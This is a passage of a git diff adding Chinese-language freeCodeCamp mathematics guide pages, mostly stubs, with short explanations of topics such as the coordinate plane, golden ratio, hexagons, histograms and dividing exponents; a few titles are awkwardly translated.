+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/fibonacci-and-ackermann/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions/floor-and-ceiling/index.md b/client/src/guide/chinese/mathematics/functions/floor-and-ceiling/index.md
new file mode 100644
index 0000000000..defbc27939
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions/floor-and-ceiling/index.md
@@ -0,0 +1,11 @@
+---
+title: Floor and Ceiling
+localeTitle: 地板和天花板
+---
+## 地板和天花板
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/floor-and-ceiling/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions/functions-are-relations/index.md b/client/src/guide/chinese/mathematics/functions/functions-are-relations/index.md
new file mode 100644
index 0000000000..440078d8a9
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions/functions-are-relations/index.md
@@ -0,0 +1,11 @@
+---
+title: Functions Are Relations
+localeTitle: 功能是关系
+---
+## 功能是关系
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/functions-are-relations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions/image-and-range/index.md b/client/src/guide/chinese/mathematics/functions/image-and-range/index.md
new file mode 100644
index 0000000000..ca15390337
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions/image-and-range/index.md
@@ -0,0 +1,11 @@
+---
+title: Image and Range
+localeTitle: 图像和范围
+---
+## 图像和范围
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/image-and-range/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions/index.md b/client/src/guide/chinese/mathematics/functions/index.md
new file mode 100644
index 0000000000..7f9bb1167f
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Functions
+localeTitle: 功能
+---
+## 功能
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions/injectivity/index.md b/client/src/guide/chinese/mathematics/functions/injectivity/index.md
new file mode 100644
index 0000000000..944f35b8f8
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions/injectivity/index.md
@@ -0,0 +1,11 @@
+---
+title: Injectivity
+localeTitle: 内射
+---
+## 内射
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/injectivity/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions/invertibility/index.md b/client/src/guide/chinese/mathematics/functions/invertibility/index.md
new file mode 100644
index 0000000000..5882c71860
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions/invertibility/index.md
@@ -0,0 +1,11 @@
+---
+title: Invertibility
+localeTitle: 可逆性
+---
+## 可逆性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/invertibility/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions/logarithms/index.md b/client/src/guide/chinese/mathematics/functions/logarithms/index.md
new file mode 100644
index 0000000000..874a81cbbe
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions/logarithms/index.md
@@ -0,0 +1,11 @@
+---
+title: Logarithms
+localeTitle: 对数
+---
+## 对数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/logarithms/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions/modulo-versus-modular/index.md b/client/src/guide/chinese/mathematics/functions/modulo-versus-modular/index.md
new file mode 100644
index 0000000000..f4adc9e31d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions/modulo-versus-modular/index.md
@@ -0,0 +1,11 @@
+---
+title: Modulo Versus Modular
+localeTitle: Modulo与模块化
+---
+## Modulo与模块化
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/modulo-versus-modular/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions/recursively-defined-functions/index.md b/client/src/guide/chinese/mathematics/functions/recursively-defined-functions/index.md
new file mode 100644
index 0000000000..a52b699c77
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions/recursively-defined-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Recursively Defined Functions
+localeTitle: 递归定义的函数
+---
+## 递归定义的函数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/recursively-defined-functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/functions/surjectivity/index.md b/client/src/guide/chinese/mathematics/functions/surjectivity/index.md
new file mode 100644
index 0000000000..e0baa4125c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/functions/surjectivity/index.md
@@ -0,0 +1,11 @@
+---
+title: Surjectivity
+localeTitle: 满射
+---
+## 满射
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/functions/surjectivity/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/gamma-function/index.md b/client/src/guide/chinese/mathematics/gamma-function/index.md
new file mode 100644
index 0000000000..2da1f3fba6
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/gamma-function/index.md
@@ -0,0 +1,11 @@
+---
+title: Gamma Function
+localeTitle: 伽玛功能
+---
+## 伽玛功能
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/gamma-function/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/geometric-sequences-and-sums/index.md b/client/src/guide/chinese/mathematics/geometric-sequences-and-sums/index.md
new file mode 100644
index 0000000000..b5f58fb0bd
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/geometric-sequences-and-sums/index.md
@@ -0,0 +1,11 @@
+---
+title: Geometric Sequences and Sums
+localeTitle: 几何序列和总和
+---
+## 几何序列和总和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/geometric-sequences-and-sums/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/geometric-series-with-sigma-notation/index.md b/client/src/guide/chinese/mathematics/geometric-series-with-sigma-notation/index.md
new file mode 100644
index 0000000000..89df72b8d6
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/geometric-series-with-sigma-notation/index.md
@@ -0,0 +1,11 @@
+---
+title: Geometric Series with Sigma Notation
+localeTitle: 几何系列与Sigma表示法
+---
+## 几何系列与Sigma表示法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/geometric-series-with-sigma-notation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/geometric-series/index.md b/client/src/guide/chinese/mathematics/geometric-series/index.md
new file mode 100644
index 0000000000..442943d5d9
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/geometric-series/index.md
@@ -0,0 +1,11 @@
+---
+title: Geometric Series
+localeTitle: 几何系列
+---
+## 几何系列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/geometric-series/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/geometry/coordinate-plane/index.md b/client/src/guide/chinese/mathematics/geometry/coordinate-plane/index.md
new file mode 100644
index 0000000000..81548b24a8
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/geometry/coordinate-plane/index.md
@@ -0,0 +1,13 @@
+---
+title: Coordinate Plane
+localeTitle: 坐标平面
+---
+## 坐标平面
+
+坐标平面是存在坐标系的平面，使得平面中的所有点可以由顺序元组（最常见的是一对）确定。与任意数量维度的坐标系一样，坐标平面有助于将几何中的问题转换为代数中的问题，反之亦然。
+
+坐标平面通常与笛卡尔相关联。因此，它也被称为笛卡尔坐标系。
+
+二维平面由水平x轴和垂直y轴组成。
+
+点（0,0）标记平面的原点。原点右侧或左侧的任何点分别具有正x坐标或负x坐标。相应地，原点上方或下方的任何点都具有正y值或负y值。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/geometry/index.md b/client/src/guide/chinese/mathematics/geometry/index.md
new file mode 100644
index 0000000000..bebdcfde1f
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/geometry/index.md
@@ -0,0 +1,11 @@
+---
+title: Geometry
+localeTitle: 几何
+---
+## 几何
+
+几何学是对形状及其存在空间的研究。这可以在形状的大小，位置和属性中进行讨论。几何的子域有很多：
+
+欧几里德几何：研究点，线，平面，角度，三角形，同余，相似性，实体图形和圆形。 微分几何：使用微积分和线性代数来研究几何中的问题。 拓扑：通过连续映射保持不变的对象属性的研究。 凸几何：欧几里德空间和抽象类似物中凸形的研究。 代数几何：通过使用多元多项式和其他技术研究几何。 离散几何：研究简单几何对象的相对位置，例如点，线和圆。
+
+#### 更多信息
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/geometry/shapes/index.md b/client/src/guide/chinese/mathematics/geometry/shapes/index.md
new file mode 100644
index 0000000000..bbb6b1c5c8
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/geometry/shapes/index.md
@@ -0,0 +1,5 @@
+---
+title: Shapes
+localeTitle: 形状
+---
+几何标准图包括由线形成的形状。结束点称为顶点，三角形表示3，正方形表示其中4个。在3个维度中，您可以使用平行六面体，球体或锥体
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/golden-ratio/index.md b/client/src/guide/chinese/mathematics/golden-ratio/index.md
new file mode 100644
index 0000000000..b40b8eca15
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/golden-ratio/index.md
@@ -0,0 +1,15 @@
+---
+title: Golden Ratio
+localeTitle: 黄金比例
+---
+## 黄金比例
+
+`PHI = φ = 1.61803398875...`
+
+如果它们的比率与它们的总和与较大数量的比率相同，则两个量是黄金比例。
+
+给定> b> 0， （a + b）/ a = a / b =φ
+
+黄金比例是不合理的，可以表示为（1 +√5）/ 2。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/gram-schmidt-process/index.md b/client/src/guide/chinese/mathematics/gram-schmidt-process/index.md
new file mode 100644
index 0000000000..24ed6482a3
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/gram-schmidt-process/index.md
@@ -0,0 +1,11 @@
+---
+title: Gram Schmidt Process
+localeTitle: 格拉姆施密特过程
+---
+## 格拉姆施密特过程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/gram-schmidt-process/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/graph-of-y-equals-sin-x/index.md b/client/src/guide/chinese/mathematics/graph-of-y-equals-sin-x/index.md
new file mode 100644
index 0000000000..14044264a9
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/graph-of-y-equals-sin-x/index.md
@@ -0,0 +1,11 @@
+---
+title: Graph of Y Equals Sin X
+localeTitle: Y等于罪X的图
+---
+## Y等于罪X的图
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graph-of-y-equals-sin-x/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/graphing-a-linear-equation/index.md b/client/src/guide/chinese/mathematics/graphing-a-linear-equation/index.md
new file mode 100644
index 0000000000..ad6a1bd042
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/graphing-a-linear-equation/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing a Linear Equation
+localeTitle: 绘制线性方程图
+---
+## 绘制线性方程图
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-a-linear-equation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/graphing-basic-logarithmic-functions/index.md b/client/src/guide/chinese/mathematics/graphing-basic-logarithmic-functions/index.md
new file mode 100644
index 0000000000..65c9164cb4
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/graphing-basic-logarithmic-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing Basic Logarithmic Functions
+localeTitle: 绘制基本对数函数
+---
+## 绘制基本对数函数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-basic-logarithmic-functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/graphing-linear-inequalities/index.md b/client/src/guide/chinese/mathematics/graphing-linear-inequalities/index.md
new file mode 100644
index 0000000000..2dc9dd26c7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/graphing-linear-inequalities/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing Linear Inequalities
+localeTitle: 绘制线性不等式
+---
+## 绘制线性不等式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-linear-inequalities/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/graphing-quadratic-functions-the-leading-coefficient-the-vertex/index.md b/client/src/guide/chinese/mathematics/graphing-quadratic-functions-the-leading-coefficient-the-vertex/index.md
new file mode 100644
index 0000000000..42e9e83e47
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/graphing-quadratic-functions-the-leading-coefficient-the-vertex/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing Quadratic Functions the Leading Coefficient the Vertex
+localeTitle: 将二次函数绘制为顶点的前导系数
+---
+## 将二次函数绘制为顶点的前导系数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-quadratic-functions-the-leading-coefficient-the-vertex/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/graphing-rational-functions-introduction/index.md b/client/src/guide/chinese/mathematics/graphing-rational-functions-introduction/index.md
new file mode 100644
index 0000000000..6a8d969c08
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/graphing-rational-functions-introduction/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing Rational Functions Introduction
+localeTitle: 图形化Rational函数简介
+---
+## 图形化Rational函数简介
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-rational-functions-introduction/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/graphing-trigonometric-functions/index.md b/client/src/guide/chinese/mathematics/graphing-trigonometric-functions/index.md
new file mode 100644
index 0000000000..40db968792
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/graphing-trigonometric-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphing Trigonometric Functions
+localeTitle: 绘制三角函数
+---
+## 绘制三角函数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphing-trigonometric-functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/graphs-of-sine-cosine-and-tangent/index.md b/client/src/guide/chinese/mathematics/graphs-of-sine-cosine-and-tangent/index.md
new file mode 100644
index 0000000000..7446495be1
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/graphs-of-sine-cosine-and-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphs of Sine Cosine and Tangent
+localeTitle: 正弦余弦和正切图
+---
+## 正弦余弦和正切图
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphs-of-sine-cosine-and-tangent/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/graphs-of-trigonometric-functions/index.md b/client/src/guide/chinese/mathematics/graphs-of-trigonometric-functions/index.md
new file mode 100644
index 0000000000..56f3a0937e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/graphs-of-trigonometric-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Graphs of Trigonometric Functions
+localeTitle: 三角函数图
+---
+## 三角函数图
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/graphs-of-trigonometric-functions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/greatest-common-factor/index.md b/client/src/guide/chinese/mathematics/greatest-common-factor/index.md
new file mode 100644
index 0000000000..64114e1c74
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/greatest-common-factor/index.md
@@ -0,0 +1,11 @@
+---
+title: Greatest Common Factor
+localeTitle: 最重要的共同因素
+---
+## 最重要的共同因素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/greatest-common-factor/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/half-angle-formulas/index.md b/client/src/guide/chinese/mathematics/half-angle-formulas/index.md
new file mode 100644
index 0000000000..62c2542e91
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/half-angle-formulas/index.md
@@ -0,0 +1,11 @@
+---
+title: Half Angle Formulas
+localeTitle: 半角公式
+---
+## 半角公式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/half-angle-formulas/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/hexadecimal-number-system/index.md b/client/src/guide/chinese/mathematics/hexadecimal-number-system/index.md
new file mode 100644
index 0000000000..267659a3bf
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/hexadecimal-number-system/index.md
@@ -0,0 +1,11 @@
+---
+title: Hexadecimal Number System
+localeTitle: 十六进制数字系统
+---
+## 十六进制数字系统：
+
+十六进制数系统是使用基数16的编号系统.Hexa = 6和decimal = 10，'hexa'和'decimal'的组合使用基数16数字系统。十六进制的数字是：0,1,2,3,4,5,6,7,8,9,10 = A，11 = B，12 = C，13 = D，14 = E和15 = F. 十六进制数系统在加密等计算领域非常有用。
+
+#### 更多信息：
+
+[维基百科](https://en.m.wikipedia.org/wiki/Hexadecimal)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/hexagon/index.md b/client/src/guide/chinese/mathematics/hexagon/index.md
new file mode 100644
index 0000000000..908f083bd5
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/hexagon/index.md
@@ -0,0 +1,29 @@
+---
+title: Hexagon
+localeTitle: 六边形
+---
+## 六边形
+
+六边形是六边形的多边形。内角的总和为720°。在正六边形中，每个单独的角度为120°。
+
+![a regular hexagon](https://upload.wikimedia.org/wikipedia/commons/thumb/c/cb/Hexagon_1.svg/2000px-Hexagon_1.svg.png)
+
+### 区
+
+边长为`s`的正六边形面积的公式为：
+
+`A = (3√3*s<sup>2</sup>)/ 2`
+
+对于边长为4的六边形，面积计算如下：
+
+`(3√3*<b>4</b><sup>2</sup>)/ 2 ≈ 41.57`
+
+### 例子
+
+蜜蜂的蜂巢是六角网格的一个自然例子。
+
+![一个蜂窝](https://upload.wikimedia.org/wikipedia/commons/3/3d/Honeycomb_15_03_2012.jpg)  
+
+一个不自然的六边形网格的例子是位于曼哈顿福利广场的纽约县最高法院大楼：
+
+![纽约市最高法院大楼](http://www.secretsinplainsight.com/wp-content/uploads/NY-Supreme-Court.jpg)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/histograms/index.md b/client/src/guide/chinese/mathematics/histograms/index.md
new file mode 100644
index 0000000000..46a6d1385d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/histograms/index.md
@@ -0,0 +1,13 @@
+---
+title: Histograms
+localeTitle: 直方图
+---
+## 直方图
+
+直方图是用于发现数据集的基础频率分布的图。一般的想法是将数据集划分为相等长度的组以可视化基本数字列表的模式。
+
+直方图是一种根据其分布在视觉上显示数值数据的方法。它们在图形上可能看起来与条形图类似，但它们使用的是信息分组而不是单个数据点。这会产生非重叠的数据间隔，以更多地了解整个数据范围内的数据分布。在[这里](https://www.khanacademy.org/math/pre-algebra/pre-algebra-math-reasoning/pre-algebra-picture-bar-graphs/v/histograms)观看直方图视频。
+
+#### 更多信息：
+
+[了解直方图](https://statistics.laerd.com/statistical-guides/understanding-histograms.php) [直方图](https://www.mathsisfun.com/data/histograms.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/horizontal-asymptotes/index.md b/client/src/guide/chinese/mathematics/horizontal-asymptotes/index.md
new file mode 100644
index 0000000000..476444aa0b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/horizontal-asymptotes/index.md
@@ -0,0 +1,11 @@
+---
+title: Horizontal Asymptotes
+localeTitle: 水平渐近线
+---
+## 水平渐近线
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/horizontal-asymptotes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/how-to-add-and-subtract-with-powers/index.md b/client/src/guide/chinese/mathematics/how-to-add-and-subtract-with-powers/index.md
new file mode 100644
index 0000000000..68554461dd
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/how-to-add-and-subtract-with-powers/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Add and Subtract with Powers
+localeTitle: 如何添加和减去权力
+---
+## 如何添加和减去权力
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-add-and-subtract-with-powers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/how-to-calculate-the-margin-of-error-for-a-sample-proportion/index.md b/client/src/guide/chinese/mathematics/how-to-calculate-the-margin-of-error-for-a-sample-proportion/index.md
new file mode 100644
index 0000000000..41784e741e
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/how-to-calculate-the-margin-of-error-for-a-sample-proportion/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Calculate the Margin of Error for a Sample Proportion
+localeTitle: 如何计算样本比例的误差范围
+---
+## 如何计算样本比例的误差范围
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-calculate-the-margin-of-error-for-a-sample-proportion/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/how-to-calculate-the-mean-value/index.md b/client/src/guide/chinese/mathematics/how-to-calculate-the-mean-value/index.md
new file mode 100644
index 0000000000..a85472fc69
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/how-to-calculate-the-mean-value/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Calculate the Mean Value
+localeTitle: 如何计算均值
+---
+## 如何计算均值
+
+均值只是数字的平均值。
+
+#### 例子
+
+1.  10,2,3的平均值是多少？ A. mean =（10 + 2 + 3）/ 3， = 15/3， = 5。 所以，10,2,3的平均值是5。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/how-to-determine-a-p-value-when-testing-a-null-hypothesis/index.md b/client/src/guide/chinese/mathematics/how-to-determine-a-p-value-when-testing-a-null-hypothesis/index.md
new file mode 100644
index 0000000000..0868d69715
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/how-to-determine-a-p-value-when-testing-a-null-hypothesis/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Determine a P Value When Testing a Null Hypothesis
+localeTitle: 如何在测试空假设时确定P值
+---
+## 如何在测试空假设时确定P值
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-determine-a-p-value-when-testing-a-null-hypothesis/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/how-to-divide-exponents/index.md b/client/src/guide/chinese/mathematics/how-to-divide-exponents/index.md
new file mode 100644
index 0000000000..f007197b68
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/how-to-divide-exponents/index.md
@@ -0,0 +1,21 @@
+---
+title: How to Divide Exponents
+localeTitle: 如何划分指数
+---
+## 如何划分指数
+
+只要基数相同，您就可以划分指数表达式，将答案保留为指数表达式。
+
+要用相同的基数划分指数（或幂），减去指数。除法是与乘法相反的，所以有意义的是，因为在将数字乘以相同的基数时添加指数，所以在将数字除以相同的基数时减去指数。
+
+#### 术语
+
+a ^ b，所以a是基数，b是指数。
+
+#### 例子
+
+![例](http://d2r5da613aq50s.cloudfront.net/wp-content/uploads/165077.image0.png)
+
+#### 注意
+
+只要基数不为0，任何0次幂的数等于1。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/how-to-factor-a-polynomial-expression/index.md b/client/src/guide/chinese/mathematics/how-to-factor-a-polynomial-expression/index.md
new file mode 100644
index 0000000000..d56dc971d2
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/how-to-factor-a-polynomial-expression/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Factor a Polynomial Expression
+localeTitle: 如何计算多项式表达式
+---
+## 如何计算多项式表达式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-factor-a-polynomial-expression/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
